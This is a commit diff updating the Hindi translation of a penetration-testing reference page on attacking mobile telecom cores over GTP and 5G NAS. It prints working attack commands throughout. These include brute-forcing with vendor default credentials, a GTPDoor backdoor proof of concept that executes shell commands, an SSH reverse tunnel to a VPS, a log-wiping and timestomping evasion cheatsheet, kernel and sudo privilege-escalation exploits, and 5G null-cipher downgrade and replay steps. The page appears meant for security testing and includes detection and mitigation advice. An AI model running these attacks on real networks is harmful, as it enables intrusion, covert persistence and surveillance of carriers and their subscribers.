Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:22 +00:00
parent c40b09a56a
commit abbaf4775a

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> मोबाइल-कोर प्रोटोकॉल (GPRS टनलिंग प्रोटोकॉल GTP) अक्सर सेमी-ट्रस्टेड GRX/IPX रोमिंग बैकबोन पर चलते हैं। क्योंकि ये बिना किसी प्रमाणीकरण के साधारण UDP पर चलते हैं, **किसी भी टेलीकॉम परिधि के अंदर एक पैर जमाने से आमतौर पर कोर सिग्नलिंग प्लेन तक सीधे पहुंचा जा सकता है**। निम्नलिखित नोट्स SGSN/GGSN, PGW/SGW और अन्य EPC नोड्स के खिलाफ देखे गए आक्रामक ट्रिक्स को इकट्ठा करते हैं।
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) अक्सर semi-trusted GRX/IPX roaming backbones से होकर गुजरते हैं। क्योंकि वे plain UDP पर चलते हैं और लगभग कोई authentication नहीं होता, **टेलीकॉम परिधि के भीतर किसी भी foothold से आमतौर पर कोर signalling planes तक सीधे पहुँच बन सकती है**। नीचे दिए नोट्स में wild में देखे गए SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ उपयोगी offensive ट्रिक्स संकलित किए गए हैं।
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
एक आश्चर्यजनक रूप से बड़ा सेट विक्रेता नेटवर्क तत्वों के साथ हार्ड-कोडेड SSH/Telnet उपयोगकर्ताओं के साथ आता है जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित वर्डलिस्ट ब्रूट-फोर्स सफलता को नाटकीय रूप से बढ़ा देती है:
कई vendor network elements आश्चर्यजनक रूप से hard-coded SSH/Telnet users के साथ भेजे जाते हैं, जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित wordlist brute-force सफलता को नाटकीय रूप से बढ़ा देता है:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
यदि डिवाइस केवल एक प्रबंधन VRF को उजागर करता है, तो पहले एक जंप होस्ट के माध्यम से पिवट करें (नीचे «SGSN Emu Tunnel» अनुभाग देखें)।
यदि डिवाइस केवल एक management VRF एक्सपोज़ करता है, तो पहले एक jump host के माध्यम से pivot करें (नीचे अनुभाग «SGSN Emu Tunnel» देखें)।
### 1.2 GRX/IPX के अंदर होस्ट खोज
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP इको** की अनुमति देते हैं। GTP-C श्रोता को जल्दी से मैप करने के लिए `masscan` को अंतर्निहित `gtpv1` UDP प्रॉब्स के साथ मिलाएं:
### 1.2 GRX/IPX के अंदर होस्ट डिस्कवरी
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के पार **ICMP echo** की अनुमति देते हैं। त्वरित रूप से GTP-C listeners मैप करने के लिए बिल्ट-इन `gtpv1` UDP probes के साथ `masscan` को मिलाएँ:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. सब्सक्राइबर्स की गणना `cordscan`
## 2. सदस्यों की सूची बनाना `cordscan`
निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर वर्तमान **SGSN / MME** को प्रकट करता है जो पूछे गए IMSI की सेवा कर रहा है और, कभी-कभी, सब्सक्राइबर के दौरे किए गए PLMN को
निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI को सर्व कर रहे वर्तमान **SGSN / MME** का खुलासा करता है और, कभी-कभी, सब्सक्राइबर द्वारा विज़िट किया गया PLMN भी बताता है
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
मुख्य ध्वज:
- `--imsi` लक्षित उपभोक्ता IMSI
- `--oper` घरेलू / HNI (MCC+MNC)
- `-w` कच्चे पैकेट pcap में लिखें
Key flags:
- `--imsi` लक्षित सब्सक्राइबर का IMSI
- `--oper` होम / HNI (MCC+MNC)
- `-w` कच्चे पैकेटों को pcap में लिखें
बाइनरी के अंदर महत्वपूर्ण स्थिरांक को स्कैन को चौड़ा करने के लिए पैच किया जा सकता है:
बाइनरी के अंदर के महत्वपूर्ण constants को स्कैन बढ़ाने के लिए पैच किया जा सकता है:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. कोड निष्पादन GTP पर `GTPDoor`
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor` एक छोटा ELF सेवा है जो **UDP 2123 को बाइंड करता है और हर आने वाले GTP-C पैकेट को पार्स करता है**। जब पेलोड एक पूर्व-शेयर किए गए टैग से शुरू होता है, तो शेष को डिक्रिप्ट किया जाता है (AES-128-CBC) और `/bin/sh -c` के माध्यम से निष्पादित किया जाता है। stdout/stderr को **Echo Response** संदेशों के अंदर एक्सफिल्ट्रेट किया जाता है ताकि कोई बाहरी सत्र कभी नहीं बनाया जाए।
`GTPDoor` एक छोटा ELF service है जो UDP 2123 पर bind होता है और आने वाले हर GTP-C packet को parse करता है। जब payload किसी pre-shared tag से शुरू होता है, तो शेष भाग को decrypted (AES-128-CBC) किया जाता है और `/bin/sh -c` के माध्यम से execute किया जाता है। stdout/stderr को **Echo Response** messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी बनाया न जाए।
न्यूनतम PoC पैकेट (Python):
न्यूनतम PoC packet (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* कोई भी होस्ट **असंतुलित इको अनुरोध** SGSN IPs को भेज रहा है
* GTP संस्करण ध्वज 1 पर सेट है जबकि संदेश प्रकार = 1 (इको) विनिर्देश से विचलन
डिटेक्शन:
* कोई भी होस्ट जो SGSN IPs को **unbalanced Echo Requests** भेज रहा हो
* GTP version flag 1 पर सेट जबकि message type = 1 (Echo) spec से विचलन
## 4. कोर के माध्यम से पिवटिंग
## 4. कोर के माध्यम से Pivoting
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` एक SGSN अनुकरणकर्ता प्रदान करता है जो **वास्तविक GGSN/PGW की ओर PDP संदर्भ स्थापित करने में सक्षम है**। एक बार बातचीत हो जाने के बाद, लिनक्स एक नया `tun0` इंटरफेस प्राप्त करता है जो रोमिंग पीयर से पहुंच योग्य है।
`OsmoGGSN` एक SGSN emulator है जो **वास्तविक GGSN/PGW की ओर PDP context स्थापित करने में सक्षम** है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया `tun0` interface मिलता है जो roaming peer से पहुँच योग्य होता है।
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
सही फ़ायरवॉल हेयर-पिनिंग के साथ, यह टनल सिग्नलिंग-केवल VLANs को बायपास करता है और आपको सीधे **डेटा प्लेन** में लाता है।
सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास कर देता है और आपको सीधे **data plane** में पहुँचा देता है।
### 4.2 पोर्ट 53 पर SSH रिवर्स टनल
DNS लगभग हमेशा घूमने वाली संरचनाओं में खुला होता है। अपने VPS पर :53 पर सुनने वाली एक आंतरिक SSH सेवा को उजागर करें और बाद में घर से वापस आएं:
### 4.2 SSH Reverse Tunnel over Port 53
DNS लगभग हमेशा रोमिंग इन्फ्रास्ट्रक्चर में खुला रहता है। अपने VPS पर :53 पर सुनने वाली एक आंतरिक SSH सेवा एक्सपोज़ करें और बाद में घर से वापस कनेक्ट करें:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
`GatewayPorts yes` को VPS पर सक्षम करें
पुष्टि करें कि `GatewayPorts yes` VPS पर सक्षम है
## 5. गुप्त चैनल
| चैनल | परिवहन | डिकोडिंग | नोट्स |
|-------|--------|----------|-------|
| ICMP `EchoBackdoor` | ICMP इको अनुरोध/उत्तर | 4-बाइट कुंजी + 14-बाइट टुकड़े (XOR) | शुद्ध पैसिव श्रोता, कोई आउटबाउंड ट्रैफिक नहीं |
| DNS `NoDepDNS` | UDP 53 | XOR (कुंजी = `funnyAndHappy`) A-रिकॉर्ड ऑक्टेट्स में एन्कोडेड | `*.nodep` उप-डोमेन की निगरानी करता है |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC ब्लॉब प्राइवेट IE में | वैध GTP-C बातचीत के साथ मिश्रित |
| चैनल | ट्रांसपोर्ट | डिकोडिंग | नोट्स |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | शुद्ध पैसिव listener, कोई आउटबाउंड ट्रैफिक नहीं |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` sub-domain के लिए निगरानी करता है |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | वैध GTP-C ट्रैफ़िक में घुलमिल जाता है |
सभी इम्प्लांट्स वॉचडॉग्स को लागू करते हैं जो **timestomp** उनके बाइनरी को और यदि क्रैश हो जाएं तो पुनः उत्पन्न करते हैं।
सभी implants ऐसे watchdogs लागू करते हैं जो उनके बाइनरीज़ को **timestomp** करते हैं और क्रैश होने पर पुनः स्पॉन होते हैं।
## 6. रक्षा बचाव चीटशीट
## 6. Defense Evasion Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. विरासत NE पर विशेषाधिकार वृद्धि
## 7. Privilege Escalation पुराने NE पर
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,30 +111,137 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
साफ-सफाई टिप:
सफाई टिप:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` पिछले अनुभागों में वर्णित कस्टम उपकरण।
* `FScan` : इंट्रानेट TCP स्वीप (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS धोखाधड़ी WPAD
* `Microsocks` + `ProxyChains` : हल्का SOCKS5 पिवोटिंग
* `FRP` (≥0.37) : NAT ट्रैवर्सल / एसेट ब्रिजिंग
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` पिछले अनुभागों में वर्णित custom tooling.
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G registration प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS security को Security Mode Command/Complete द्वारा सक्रिय नहीं किया जाता, initial messages unauthenticated और unencrypted रहती हैं। यह pre-security विंडो कई attack paths सक्षम करती है जब आप N2 traffic को observe या tamper कर सकते हैं (उदा., core के अंदर on-path, rogue gNB, या testbed)।
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) और capabilities।
- Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* वापस करता है।
- Security Mode Command/Complete: NAS integrity और ciphering negotiate किए जाते हैं और activate होते हैं।
- PDU Session Establishment: IP/QoS setup।
Lab setup tips (non-RF):
- Core: Open5GS default deployment flows reproduce करने के लिए पर्याप्त है।
- UE: simulator या test UE; decode के लिए Wireshark का उपयोग करें।
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly बिना एक पूरा rogue gNB उठाए)।
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM को SUCI भेजना चाहिए (SUPI को home-network public key से encrypted करके)। Registration Request में plaintext SUPI/IMSI मिलना एक privacy defect को दर्शाता है जो persistent subscriber tracking को सक्षम बनाता है।
How to test:
- InitialUEMessage में पहला NAS message capture करें और Mobile Identity IE की जांच करें।
- Wireshark quick checks:
- इसे SUCI के रूप में decode करना चाहिए, IMSI के रूप में नहीं।
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` मौजूद होना चाहिए; इसकी अनुपस्थिति और `imsi` की उपस्थिति leakage संकेत करती है।
What to collect:
- MCC/MNC/MSIN अगर exposed हों; प्रति-UE log रखें और समय/locations के साथ track करें।
Mitigation:
- SUCI-only UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर alert करें।
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE अपने supported EEA (encryption) और EIA (integrity) को UE Security Capability IE में Registration Request के दौरान advertise करता है।
- सामान्य mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं।
Issue:
- क्योंकि Registration Request integrity protected नहीं है, एक on-path attacker capability bits को clear कर सकता है ताकि बाद में Security Mode Command के दौरान EEA0/EIA0 चुने जाएँ। कुछ stacks गलत तरीके से null algorithms को emergency services के बाहर allow कर देते हैं।
Offensive steps:
- InitialUEMessage intercept करें और NAS UE Security Capability को modify करके केवल EEA0/EIA0 advertise करवाएं।
- Sni5Gect के साथ, NAS message को hook करें और capability bits को patch करके आगे भेजें।
- देखें कि क्या AMF null ciphers/integrity accept करता है और EEA0/EIA0 के साथ Security Mode complete करता है।
Verification/visibility:
- Wireshark में Security Mode Command/Complete के बाद चुने गए algorithms confirm करें।
- Example passive sniffer output:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
रोकथाम (अनिवार्य):
- AMF/policy को EEA0/EIA0 अस्वीकार करने के लिए कॉन्फ़िगर करें सिवाय जहाँ सख्ती से अनिवार्य हो (उदा., आपातकालीन कॉल)।
- न्यूनतम के रूप में EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS security context पर जो null algorithms negotiate करे, log और alarm करें।
### 9.3 Replay of प्रारंभिक Registration Request (pre-security NAS)
क्योंकि प्रारंभिक NAS में अखंडता और ताज़गी का अभाव होता है, कैप्चर किया गया InitialUEMessage+Registration Request AMF को replay किया जा सकता है।
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- क्या AMF replay को स्वीकार करता है और Authentication की ओर आगे बढ़ता है; freshness/संदर्भ सत्यापन की कमी जोखिम को दर्शाती है।
Mitigations:
- AMF पर replay सुरक्षा/संदर्भ बाइंडिंग लागू करें; प्रति-GNB/UE दर-सीमित करें और सहसंबंध बनाएँ।
### 9.4 टूलिंग संकेत (दोहराने योग्य)
- Open5GS: core को emulate करने के लिए AMF/SMF/UPF उठाएँ; N2 (NGAP) और NAS का निरीक्षण करें।
- Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration को अलग करने के लिए ऊपर दिए गए filters लागू करें।
- 5GReplay: एक registration कैप्चर करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें।
- Sni5Gect: लाइव में NAS कंट्रोल-प्लेन को sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में गड़बड़ी करें।
### 9.5 रक्षात्मक चेकलिस्ट
- Registration Request में plaintext SUPI/IMSI के लिए लगातार निरीक्षण करें; दोषी devices/USIMs को ब्लॉक करें।
- परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर EEA0/EIA0 को अस्वीकार करें; कम से कम EEA2/EIA2 आवश्यक रखें।
- rogue या misconfigured infrastructure का पता लगाएं: unauthorized gNB/AMF, अप्रत्याशित N2 peers।
- उन NAS security modes पर अलर्ट करें जो null algorithms का कारण बनते हैं या InitialUEMessage के बार-बार replay होते हैं।
---
## Detection Ideas
1. **कोई भी डिवाइस जो SGSN/GGSN के अलावा Create PDP Context Requests स्थापित कर रहा है**
2. **गैर-मानक पोर्ट (53, 80, 443) से आंतरिक IPs से SSH हैंडशेक प्राप्त करना**
3. **संबंधित Echo Responses के बिना बार-बार Echo Requests** GTPDoor बीकन का संकेत दे सकता है।
4. **बड़े, गैर-शून्य पहचानकर्ता/क्रमांक फ़ील्ड के साथ ICMP echo-reply ट्रैफ़िक की उच्च दर**
1. **SGSN/GGSN के अलावा कोई भी डिवाइस जो Create PDP Context Requests स्थापित कर रहा हो।**
2. **आंतरिक IPs से Non-standard ports (53, 80, 443) पर आने वाले SSH handshakes।**
3. **अनुपयुक्त Echo Responses के बिना बार-बार Echo Requests** यह GTPDoor beacons का संकेत हो सकता है।
4. **बड़े, शून्य से भिन्न identifier/sequence फील्ड्स वाले ICMP echo-reply ट्रैफ़िक की उच्च दर।**
5. 5G: **InitialUEMessage जो समान endpoints से दोहराई गई NAS Registration Requests ले जा रहा हो** (replay संकेत)।
6. 5G: **आपातकालीन प्रसंगों के बाहर NAS Security Mode का EEA0/EIA0 पर समझौता करना।**
## References
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}